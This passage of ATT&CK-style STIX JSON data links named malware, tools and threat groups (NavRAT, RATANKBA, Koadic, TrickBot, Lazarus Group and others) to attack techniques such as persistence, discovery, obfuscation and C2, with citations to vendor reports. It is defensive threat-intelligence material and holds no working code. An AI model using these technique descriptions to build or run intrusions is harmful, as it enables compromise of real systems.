            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the .LNK file from the startup directory as well as the dropper components.(Citation: FireEye FELIXROOT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.944Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f3e4b47e-cde3-4f27-85b7-464b02325ee6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers information about the OS architecture, OS name, and OS version/Service pack.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.930Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a2440552-4190-4f72-9cf5-a63eecdff2fb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) leverages cmd.exe to perform discovery techniques.(Citation: Talos NavRAT May 2018) [NavRAT](https://attack.mitre.org/software/S0247) loads malicious shellcode and executes it in memory.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                },
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:52:50.410Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cc9ffcec-db79-4913-91ae-ffd5cec643f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can download files off the target system to send back to the server.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.555Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5b48c2b1-0ce7-4856-9bc7-ae359826550c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) can download files remotely.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T17:19:47.387Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6c7965c9-6ea5-4693-889d-25c1c47b2698",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can user PowerView to execute \u201cnet user\u201d commands and create local system accounts.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T16:28:40.281Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7df01656-109b-49ad-a9e4-c1b89ba82508",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the command prompt to execute commands on the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:49:51.174Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) can create backdoor accounts with login \u201cHelpAssistant\u201d on domain connected systems if appropriate rights are available.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/",
                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
                },
                {
                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/",
                    "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame Functionality"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-03-27T00:25:23.064Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) adds itself to a Registry Run key with the name guidVGA or guidVSA.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.400Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b10b7d66-3bee-4ebc-98c2-2eec2259e19e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) contains junk code in its functions in an effort to confuse disassembly programs.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.459Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--49c7a467-98ce-4764-af86-c950ed951d13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) can use HTTP for C2.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:30:31.072Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--87e7c117-bf53-432e-9ff3-2aeb2e522231",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) lists the system\u2019s processes.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.969Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can check for specific files and directories associated with virtualization and malware analysis.(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-06-18T16:05:23.339Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) has a package that collects documents from any inserted USB sticks.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.708Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--49b63fca-e16a-446e-89fc-2b899f8420bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) uses WMI to check for anti-virus software installed on the system.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.939Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4189f5b4-4c57-452a-a3fb-da5988804feb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server information about the first network interface card\u2019s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-12-20T14:28:39.074Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
        {
            "id": "relationship--361cbd71-b178-44d0-9802-78a310938bad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has used forged Microsoft code-signing certificates on malware.(Citation: FireEye Operation Molerats)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html",
                    "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.",
                    "source_name": "FireEye Operation Molerats"
                }
            ],
            "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-03-25T14:27:23.923Z",
            "created": "2017-05-31T21:33:27.055Z"
        },
        {
            "id": "relationship--5183147b-4563-4a01-a360-a419691e35f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the currently logged in user by running <code>whoami</code> on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.982Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--c8786a8c-9c40-4df3-874f-952b814baec9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim browser bookmarks.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7"
        },
        {
            "id": "relationship--82b679af-7408-4f41-8fc0-5b0cf5993726",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.(Citation: Symantec Suckfly May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly May 2016"
                }
            ],
            "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-03-25T16:59:47.259Z",
            "created": "2017-05-31T21:33:27.074Z"
        },
        {
            "id": "relationship--66bec558-ff92-42ff-a8c1-5b47d071d606",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) deletes its RAT installer file as it executes its DLL payload file.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T01:30:41.514Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1c360b2c-8004-4978-ba70-b0bb2257a791",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs <code>whoami</code> on the victim\u2019s machine.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.008Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5ae4207c-95db-4a16-bfac-1d8daf29ba4a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) leverages a custom packer to obfuscate its functionality.(Citation: S2 Grupo TrickBot June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.614Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a directory listing for a specified directory.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.459Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "New services created by [RawPOS](https://attack.mitre.org/software/S0169) are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\".(Citation: Kroll RawPOS Jan 2017)(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware",
                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.",
                    "source_name": "Kroll RawPOS Jan 2017"
                },
                {
                    "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf",
                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.",
                    "source_name": "TrendMicro RawPOS April 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T15:39:59.628Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--c2fcdaf4-f4e7-446d-8b92-7a9df7ccc1f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)",
            "object_marking_refs": [
